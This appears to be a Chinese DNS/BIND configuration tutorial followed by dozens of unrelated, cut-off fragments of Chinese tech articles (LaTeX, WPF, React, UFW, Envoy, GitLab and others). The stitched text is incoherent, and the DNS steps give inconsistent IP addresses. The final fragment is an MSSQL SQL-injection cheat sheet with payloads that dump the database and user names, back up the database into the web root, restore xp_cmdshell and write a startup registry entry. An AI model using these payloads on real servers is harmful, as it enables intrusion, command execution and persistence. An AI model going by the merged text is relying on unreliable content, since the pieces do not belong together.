目录
一、DNS概念
二、域名格式类型
三、查询类型
四、解析类型
五、配置DNS
六、dns解析实验
1.配置正向解析
2.反向解析
3.主从解析
一、DNS概念
概念:域名和IP地址的相互映射的分布式数据库,可以更好的访问互联网。
计算机只能访问IP地址,但是IP地址不是方便记住,采用域名解析出IP地址,可以更好的访问互联网
二、域名格式类型
www.baidu.com.cn.
根域.根域名dns服务器
一级域:一般代表国家地区和组织机构
例子:.com(工商,企业机构)
.net(网络运营商)
.edu(教育机构)
.cn(中国地区)
.org(团体机构)
.gov(政府机构)
二级域:一般代表具体类型
例子:.net.cn(中国运营商)
.edu.cn(中国教育)
.com.cn(中国企业)
子域名(主机名,三级域):一般具体的名字
例子:jd.com.cn(京东)
百度.com.cn(百度)
三、查询类型
dns解析过程:
查询本机缓存hosts->dns域名服务器(运营商)->根域服务器->顶级域->二级域->子域
->本地缓存->用户->ip地址1.迭代
迭代过程:根域服务器->顶级服务器->二级域->子域
2.递归
递归过程:dns域服务器->本地缓存->用户->ip地址
四、解析类型
配置文件目录:/etc/resolv.conf
正向解析:域名解析IP地址
反向解析:IP地址解析域名
五、配置DNS
1.本地dns映射文件:/etc/host
2.正向解析
nslook正向解析,将www.baidu.com解析为ip地址
3.反向解析,将180.101.50.188解析为析为www.baidu.com域名
4.自定义内网解析软件
bind:用来解析内网,配置文件定义域名和IP地址规则
服务名:named
文件位置:
/etc/named.conf 主配置文件
/etc/named.rfc1912.zones 区域配置文件
/var/named/named.localhost 区域数据配置文件(模板文件,不可直接在原文件进行更改)
六、实验
1.bind配置正向解析
修改主配置文件
修改监视ip地址
所有网段都可以访问
配置区域配置文件
复制一份,改为:
配置正向区域数据文件
配置ky29.com.zone文件
NS ky29.com. #记录当前区域的DNS服务器的名称(必不可少)
А #记录主机IP地址(必不可少)
IN MX 10 mail.ky29.com. #MX为邮件交换记录,数字越大优先级越低
www IN A 192.168.233.30 #记录正向解析www.benet.com对应的IP
mail IN A 192.168.233.31 #邮箱的正向解析地址
ftp IN CNAME www #CNAME使用别名, ftp是www的别名
* IN A 192.168.233.100 #泛域名解析, "*" 代表任意主机名
修改解析地址文件
分别进入终端1和终端3
vim /etc/resolv.conf
加入解析地址192.168.140.111
关闭防火墙和安全机制
可以在终端3中解析域名可以看到地址
2.反向解析
进入/etc/vim /etc/named.rfc1912.zones 配置反向解析文件
复制一份,确保备份
进入ky29.com.zone.local进行配置
30 IN PTR www.ky29.com. ---访问192.168.233.20会访问www.ky29.com
31 IN PTR mail.ky29.com. ---访问192.168.233.30会访问mail.ky29.com
修改完配置文件后
nslookup 192.168.140.30
可以看到以及反向解析
3.主从服务器解析dns
进入dns解析文件/etc/resolv.conf加入从服务器的ip地址
主从服务器都要加
进入主服务器,修改配置文件
进入从服务器,修改为任意网址都可
进入vim /etc/named.rfc1912.zones 修改配置
重启服务
主可以解析,直接关闭服务
从也可以解析,当主关闭,从也可以解析
大家好,又见面了,我是你们的朋友全栈君。Latex公式换行问题(换行,等号对齐)作为一个研究生肯定避免不了写论文,在这个过程中latex使用就尤为重要,他会帮助你们实现期刊格式要求的排版。今天就简单说一下我在写论文过程中遇到的问题之一,公示太长需要换行的问题,并且是连等公示,每个等号在还行之后都需要对齐。 方法是使用:\begin{equation} \begin{aligned} ...... \end{aligned} \end{equation}复制其中aligned就是用来公式对齐的,在中间公式中,\\表示换行,&表示对齐。在公式中等号之前加&,等号介绍要换行的地方加\\就可以了。 举个例子: \begin{equation} \begin{aligned} \theta^{*},\theta^{‘*}&=\argmin\limits_{\theta,\theta^{‘}}\frac{1}{n}\sum_{n}^{i=1}L\left(\textbf{x}^{(i)},\textbf{x}^{‘(i)}\right)\\ &=\argmin\li
阅读导航前言案例一案例二案例三(本文介绍的方式)如何使用?控件如何开发的?总结1.前言案例一站长分享过眾尋大佬的一篇WPF简易新手引导一文,新手引导的效果挺不错的,如下图:该文给出的代码未使用MVVM的开发方式,提示框使用的用户控件、蒙版窗体样式与后台代码未分离,但给大家分享了开发新手引导功能的一个参考。案例二开源项目AIStudio.Wpf.Controls,它的新手引导效果如下:此开源项目也有参考上文(WPF简易新手引导),并且重构为MVVM版本,方便绑定使用。 并且提示框显示的位置还跟随目标控件在主窗体中的位置灵活变换,不至于显示在蒙版窗体之外,如下图所示:当目标控件右侧空间足够显示引导提示框时,引导提示框就显示在目标控件右侧;在右侧空间不足时,则将引导提示框显示在目标控件左侧:案例三(本文介绍的方式) 站长根据上面的开源项目AIStudio.Wpf.Controls做了一个自己的版本Dotnet9WPFControls,去掉了上一步按钮、增加标题绑定、下一步按钮内容绑定、提示框样式修改等,效果如下:后面段落就介绍怎么使用Dotnet9WPFControls添加新手引导功能,并简
点击上方"蓝字"关注我们,享更多干货!StackOverflow在今年5-6月进行了面向开发者的年度调查。近日,调查的报告结果正式公布。这份调查报告涉及到了许多方面的内容,本文仅分享数据库相关的内容。 据介绍,这份报告基于对来自全球181个国家/地区的83439名软件开发者的调查。StackOverflow称这个数字是他们根据受访者在完整的调查上花费的时间,出于分析目的而认为“合格”的答复数量;另有大约172份回复被提交但未包括在分析中,因为这些受访者在调查中花费的时间不到三分钟。其中,来自美国和印度的受访者数量最多,其次是德国和UKI(英国和爱尔兰)。数据显示,仅有1055份调查反馈来自中国开发者。最流行的数据库-MySQL可以看到,StackOverflow的调查结果和DBEngine的排名不太一样。在此次调查中,新兴的PostgreSQL和MongoDB十分受欢迎,两者的排名分别是第二和第四名,PostgreSQL的受欢迎程度仅次于MySQL。最喜爱的数据库-Redis最恐惧的数据库-DB2Redis、PostgreSQL和MongoDB是最受开发者喜爱的数据
最近,可解释人工智能(XAI)的研究已经转向关注对理解的更务实或自然的描述,即利益相关者是否理解解释。这一点对于XAI系统的评估方法的研究尤为重要。因此,XAI研究可以从认知科学和心理学研究中大大受益的另一个方向是衡量用户的理解、反应和态度的方法。这些衡量标准可以用来量化解释的质量,并作为对XAI系统的反馈来改进解释。目前的报告旨在提出合适的衡量标准,从利益相关者的认知状态和过程的角度来评价XAI系统。我们阐述了7个维度,即好感度、满意度、用户理解度、好奇心和参与度、信任度和依赖度、可控性和互动性,以及学习曲线和生产力,以及推荐的主观和客观心理测量指标。然后,我们提供更多的细节,说明我们如何使用推荐的措施,根据推荐的认知指标来评估一个视觉分类XAI系统。原文题目:RoadmapofDesigningCognitiveMetricsforExplainableArtificialIntelligence(XAI)原文:Morerecently,ExplainableArtificialIntelligence(XAI)researchhasshiftedtofocusonamorepra
顾老师新书《全栈软件测试工程师宝典》https://item.m.jd.com/product/10023427978355.html以前两本书的网上购买地址:《软件测试技术实战设计、工具及管理》:https://item.jd.com/34295655089.html《基于Django的电子商务网站》:https://item.jd.com/12082665.html原文Bostonhousepricesdataset**DataSetCharacteristics:**NumberofInstances:506NumberofAttributes:13numeric/categoricalpredictive.MedianValue(attribute14)isusuallythetarget.AttributeInformation(inorder):CRIMpercapitacrimeratebytownZNproportionofresidentiallandzonedforlotsover25,000sq.ft.INDUSproportionofnon-retailbusi
陈龙|https://zhuanlan.zhihu.com/p/71937497“前段时间,我和一位群友因为要不要学习JSP在群里争论了一番。他的想法是一定要学,并且还罗列了一个让我哭笑不得的理由,那就是“学习JSP可以加深对Servlet原理的理解!”。当时,我整个人都蒙了,就很气愤啊!这位群友也是工作一年多的人了,不知道为啥会说出这样的话。 本来准备自己写一篇文章来回怼,后面看了陈龙大佬也写了一篇类似的文章,看完之后感觉非常不错。于是,转载过来,希望对大家有帮助。自从在知乎回答问题以来,以及根据最近几年给企业做技术咨询的情况,发现JSP还是一个经常被提到的问题。希望能在这篇文章里把关于JSP的问题集中说明一下。我的观点很明确,已经写在文章标题里了。确实,很多初学者,甚至是学了一两年的Java程序员还在纠结是否要学JSP。我认为如非工作需要,别学!还是老规矩,有任何疑问都可以在评论区提出来,有时间我一定会解答。我会把典型问题提取到文章正文里,让更多人看到。有任何错误,包括错字、语句不通顺等问题,敬请指正。先说一下我自己学习和使用JSP的经历吧我1998年开始学习Java,那时候学校里
在一个二维数组中,每一行都按照从左到右递增的顺序排序,每一列都按照从上到下递增的顺序排序。请完成一个函数,输入这样的一个二维数组和一个整数,判断数组中是否含有该整数。思路:矩阵是有序的,从左下角来看,向上数字递减,向右数字递增, 因此从左下角开始查找,当要查找数字比左下角数字大时。右移。要查找数字比左下角数字小时,上移。Java代码如下:publicclassSolution{ publicbooleanFind(inttarget,int[][]array){ introl=array.length; intcol=array[0].length; for(inti=rol-1,j=0;i>=0&&j<col;){ if(target==array[i][j]){ returntrue; } if(target>array[i][j]){ j++; continue; } if(target<array[i][j]){ i--; continue; } } returnfalse; } }复制C++代码如下:#include<vecto
性能优化总是会有成本,但并不总是带来好处。我们来谈谈useMemo和useCallback的成本和收益。这里是一个糖果提售货机:(原文中可点击交互,点击“grab”按钮后“提取”对应的糖果,对应项会从页面删除;全部提取完后会出现“refill”按钮,点击重置所有糖果)以下是它的实现方式:functionCandyDispenser(){ constinitialCandies=['snickers','skittles','twix','milkyway'] const[candies,setCandies]=React.useState(initialCandies) constdispense=candy=>{ setCandies(allCandies=>allCandies.filter(c=>c!==candy)) } return( <div> <h1>CandyDispenser</h1> <div> <div>Av
今天为大家介绍一个Linux服务器数据恢复成功案例,本次服务器数据恢复物理服务器请款如下:客户故障服务器为一台X3850服务器,这个服务器是由4块146GSAS硬盘组成的RAID5作为存储介质,文件系统全都是reiserfs。我们首先经过分析发现了之前的硬盘数据组织结构是由一个不到100M的boot分区,后接一个271G的LVM卷,之后是2G的swap分区。LVM卷中直接划分了一个reiserfs文件系统,作为根分区。 服务器在正常使用过程中,由于未知原因导致系统瘫痪,急需进行服务器数据恢复,经过系统的重装以后发现整个RAID逻辑卷变成了前面2G的boot与swap分区,后接271G的LVM卷,LVM卷中文件系统位置有个空的reiserfs超级块。 我们这次要恢复的数据就是原来271G中文件系统里的所有用户数据,这些数据包含了数据库、网站程序与网页、单位OA系统里的所有办公文档。 服务器数据恢复工程师先通过对全盘reiserfs树节点之间的关联确定了原来的reiserfs分区位置,发现原来存储数据的文件系统的前2G数据已经被覆盖,应该是用户在安装系统时错误地初始化了分区结构,所以
Zynq-7000能干什么作者:OpenS_Lee1背景知识因为Zynq-7000PS(ProcessingSystem)端嵌入了Cortex-A9ARM处理核以及PL(ProgrammableLogic)端为基于Kintex-7或者Artix-7的FPGA架构使得XilinxZynq-7000更加强悍,应用领域更加广泛。下面将从以下方面介绍Zynq-7000的应用领域:汽车、通信系统、机器人、控制和仪器、图像和视频处理、医药、工业控制和许多其他领域。2应用概述考虑Zynq、FPGA和相关芯片的应用广泛,选择几个重要的领域给大家介绍。虽然有 大量的可能性应用,但这里的只是选择一些有代表性的应用。2.1汽车图1汽车系统(左:辅助驾驶系统;右:道路标识识别)现在的汽车里都有大量的电子装置,从引擎管理到车窗、倒车辅助系统、驾驶员辅助系统、后视镜和灯光等控制功能,以及导航和资讯娱乐系统都有。先进驾驶辅助系统(AdvancedDriverAssistanceSystems,ADAS)专门指的就是汽车里为了驾驶员的安全和便捷所提供的系统的总和,包括:偏离车道告警系统、道路标识识别(如进入限速较低的
【新智元导读】教育部近日成立了“人工智能科技创新专家组”,由20位咨询组成员和14位工作群成员组成,其中有12位两院院士,多名在AI领域拥有杰出贡献的教授和长江学者。百度、阿里、腾讯和科大讯飞这四家承担国家新一代AI开放平台建设的公司也分别有代表科学家入选,产学研结合将是今后AI发展的必然趋势。 继今年1月将人工智能引入2018秋季高中新课标、4月印发《高校人工智能创新行动计划》,以及后续一系列关于是否将人工智能作为高校一级学科建设等问题展开的讨论这套组合拳后,教育部近日再出大招。 8月底,教育部办公厅发文《关于成立教育部人工智能科技创新专家组的函》: 为落实《教育部关于印发高等学校人工智能创新行动计划的通知》(教技〔2018〕3号),加强科技界、教育界和产业界的沟通交流,推进科技创新、产业发展和人才培养形成合力,促进人工智能发展,经研究,决定成立教育部人工智能科技创新专家组。 专家组性质 专家组在教育部组织下,对推动高校人工智能创新行动计划开展研究、咨询和指导,由咨询组和工作组组成。 主要任务 咨询组主要任务是对高校人工智能人才培养、科技创新和产学研合作等政策、规划提出咨询建议。工作
介绍我们可以用iptable对防火墙进行设置。虽然iptables是一个可靠而灵活的工具,但初学者很难学会如何使用它来正确配置防火墙。如果您希望开始保护网络,并且您不确定使用哪种工具,UFW可能是您的正确选择。本教程将向您展示如何在Ubuntu18.04上使用UFW设置防火墙。准备一台Ubuntu18.04的服务,一个可以使用sudo命令的非root账户;没有服务器的用户可以购买和使用腾讯云服务器或者直接在腾讯云实验室Ubuntu服务器上动手实践。UFW默认安装在Ubuntu上的,如果由于某种原因已经卸载,您可以用以下命令安装它:$sudoaptinstallufw复制第一步,将IPv6与UFW一起使用(可选)本教程是在考虑IPv4的情况下编写的,但只要您启用IPv6,它将适用于IPv6。如果您的Ubuntu服务器已启用IPv6,请确保将UFW配置为支持IPv6,以便除IPv4之外还管理IPv6的防火墙规则。要执行此操作,请使用nano或者您喜欢的编辑器打开UFW配置。$sudonano/etc/default/ufw复制然后确定IPV6后面的值是yes。它应该如下所示:/etc/de
选择能代表一个品牌的时尚模特这份工作真心不容易。遍寻任何模特信息数据库,选角导演要在上千名模特中为每个杂志封面、社会活动或者伸展台走秀上挑选出最适合的那一个。这些年来该选择哪一名模特已经变得越来越复杂,因为现在的社交媒体在任何一名模特的职业生涯中都扮演着重要角色。现在有些模特的脸会很快变得比其他人受欢迎。这表明当面临着同样的信息时,通常指身体大小和身形、模特机构、先前经历以及模特照片,选角导演通常会做出同样的选择。这提出了一个有趣的问题:在其它信息相同的情况下,经过适当训练的机器是否能做出同样的选择乃至于预测哪一位模特更有可能出现在下一季的T台上呢?现在,感谢印第安纳大学伯明顿校区的JaehyukPark及其同事,我们终于知道了这一问题的答案。这些家伙利用机器学习算法来找出与未来模特事业成功与否(由模特在伸展台上出现的次数进行衡量)的相关因素。他们说当他们的方法将模特在社交媒体上受欢迎的程度考虑在内时,结果甚至更加准确。开始时,该团队下载了被收录到时装模特指南(FashionModelDirectory,一个重要的行业登记网站)中431名新晋女性模特的相关信息。该网站给出了每位模特的不
HTTP过滤器就像网络级别的过滤堆栈一样,Envoy在连接管理器中支持HTTP级别的过滤堆栈。可以编写过滤器,在不知道底层物理协议(HTTP/1.1,HTTP/2等)或多路复用功能的情况下,对HTTP层消息进行操作。有三种类型的HTTP级别过滤器:解码器:解码器过滤器在连接管理器正在解码请求流的部分(头部,正文和尾部)时被调用。编码器:编码器过滤器在连接管理器即将编码部分响应流(标题,正文和预告片)时被调用。解码器/编码器:解码器/编码器过滤器在连接管理器正在解码请求流的部分时以及连接管理器将要对部分响应流进行编码时被调用。HTTP级别筛选器的API允许筛选器在不知道底层协议的情况下运行。像网络级别的过滤器一样,HTTP过滤器可以停止并继续迭代到后续的过滤器。这可以实现更复杂的场景,例如运行状况检查处理,调用速率限制服务,缓冲,路由,为应用程序流量(例如DynamoDB等)生成统计信息。Envoy已经包含了几个HTTP级别的过滤器,配置参考。HTTP路由Envoy包含一个HTTP路由器过滤器,可以安装它来执行高级路由任务。这对于处理边缘流量(传统的反向代理请求处理)以及构建服务以服务E
centos8strambootiso光盘本身十分精简,安装时可联网在线安装系统。 使用此光盘的好处在于: 1.安装完后,无需再更新系统,节约了时间。2.制作U盘启动更为简单,存储此光盘也很节约硬盘空间。 劣势就在于: 安装时必须联网。 有些朋友在使用此光盘装机时,会卡在设置安装源的一步不知如何处理,如下图。 其实此处应该输入centosBaseOS仓储的URL地址。可打开安装好的系统的/etc/yum.repos.d/BaseOS.repo查看, 默认为: mirrorlist=http://mirrorlist.centos.org/?release=$stream&arch=$basearch&repo=BaseOS&infra=$infra#即:http://mirrorlist.centos.org/?release=8-stream&arch=x86_64&repo=BaseOS baseurl=http://mirror.centos.org/$contentdir/$stream/BaseOS/$basearch/os/#即:h
publicclassPerson{ privateintid; privateStringname; publicintgetId(){ returnid; } publicvoidsetId(intid){ this.id=id; } publicStringgetName(){ returnname; } publicvoidsetName(Stringname){ this.name=name; } publicPerson(){}; publicPerson(intid,Stringname){ this.id=id; this.name=name; } }复制 importcom.ruoyi.web.controller.demo.domain.Person;importjava.util.ArrayList;importjava.util.Comparator;importjava.util.List;publicclassTest01{publicstaticvoidmain(String[]args){List<Person>listd=n
八月悄然而过,夏天的风吹得我懒洋洋的。于是乎,我做了一件很懊恼的事情,我把八月份的记录给误删了,而且是没有恢复的勿删,所以所以,这次八月份的总结弄的简单了一些,但是重点还都是在滴。 懒惰的我 首先,为什么我这么久没写原创了呢?说到这个问题,我也很是纳闷,为什么呢? 究其原因,还是因为我放松了给自己的目标。7月底的时候,家里出了点小意外,我在月底写完一篇知乎上关于办香港卡的攻略之后,就没有再写了(这份攻略我整理好了,发在今天的二栏里,主要是做一个原创的标记)。7月底到8月初,我基本都是每天回家,利用我的业余时间去陪伴家人,那半个月虽然累,但是却是我工作之后,第二次这么久在家里休息(第一次自然是年初的YQ),也正是因为年初的累了,导致后面的小插曲。看,经历过这些,知道身体健康有多重要了吧。 健康是1,至于你需要在后面有多少个0来规划,都是建立在健康之上的,这个我在七月份的总结里也聊起过,这就不再赘述了。 当然,时间只是一方面,毕竟也不会持续一个多月这么久,造成我懒惰没有写文的,还是我内心的懒惰小人打败了我的勤奋小人。 因为前期自己很佛系,失去很多涨粉的契机,也是因为我写的内容没有引起同大家
遭遇战【问题描述】小林和小华在一个n*n的矩形方格里玩游戏,矩形左上角为(0,0),右下角为(n-1,n-1)。两人同时进入地图的随机位置,并以相同速度进行走位。为了隐蔽性,两人都不会再走自己走过的格子。如果两人向某一方向前进,那么他们会跑到不能跑为止,当不能跑的时候,小林会向右转,小华则会向左转,如果不能跑,则不再动。现在已知两人进入地图的初始位置和方向,请算出两人遭遇的位置。【输入】第一行一个正整数t,表示测试数据的组数。接下来的t组数据,每组数据的第一行包含1个整数n,。第二行包含三个整数,x、y和d,表示小林的初始位置和一开始跑的方向。其中d=0表示东;d=1表示南;d=2表示西;d=3表示北。第三行与第二行格式相同,但描述的是小华。【输出】输出t行,若会遭遇,则包含两个整数,表示他们第一次相遇的格子的坐标,否则输出“-1”。 【输入输出样例】fight.in220000124010320 fight.out-113 考试第一题(惊了)刚了两个多小时。。。纯模拟。。。呵呵: 1#include<bits/stdc++.h> 2usingnamespacestd;
在网上看了很多docker-compose联合安装gitlab和gitlab-runner的文章,都多少有点欠缺,也许是因为版本更新了。自己爬了两天的坑,现在把docker安装gitlab-ce和runner的坑填上。 新建一个目录gitlab,新建一个文件docker-compose.yml docker-compose.yml配置文件 version:'2' services: gitlab: image:'gitlab/gitlab-ce:latest' restart:unless-stopped container_name:'gitlab' hostname:'gitlab' ports: -'81:80' -'22:22' volumes: -/data/docker/gitlab/config:/etc/gitlab -/data/docker/gitlab/data:/var/opt/gitlab -/data/docker/gitlab/logs:/var/log/gitlab gitlab-runner: image:'gitlab/gitlab-runner:
前言 今天整理了下sqlserverprofiler(SQLServer事件探查器),好久没有用了,确实生疏了许多,也是时候花点时间整理下了,本文是参考的原文在这里(这位仁兄有10年的博龄了,涉猎范围非常广,多多向他学习吧),我也读了一些MSDN的文章,扩展了一部分,增加了一些自己的想法。 对象介绍: SQLServerProfilerSQLServerProfiler是一个界面,用于创建和管理跟踪并分析和重播跟踪结果。这些事件保存在一个跟踪文件中,稍后试图诊断问题时,可以对该文件进行分析或用它来重播一系列特定的步骤。 注意点: SQL跟踪和SQLServerProfilerSQLServerProfiler不推荐使用。包含MicrosoftSQLServer跟踪和重播对象的Microsoft.SqlServer.Management.Trace命名空间也已遭弃用。 此功能处于维护模式并且可能会在MicrosoftSQLServer将来的版本中被删除。请避免在新的开发工作中使用该功能,并着手修改当前还在使用该功能的应用程序。请改用扩展事件,它是轻量级的,对系统资源的消耗也会
1、返回的是连接的数据库名anddb_name()>02、作用是获取连接用户名anduser>03、将数据库备份到Web目录下面;backupdatabase数据库名todisk='c:\inetpub\wwwroot\1.db';--4、显示SQL系统版本and1=(select@@VERSION)或and1=convert(int,@@version)--5、判断xp_cmdshell扩展存储过程是否存在and1=(SELECTcount(*)FROMmaster.dbo.sysobjectsWHERExtype='X'ANDname='xp_cmdshell')6、恢复xp_cmdshell扩展存储的命令;execmaster.dbo.sp_addextendedproc'xp_cmdshell','e:\inetput\web\xplog70.dll';--7、向启动组中写入命令行和执行程序;EXECmaster.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersio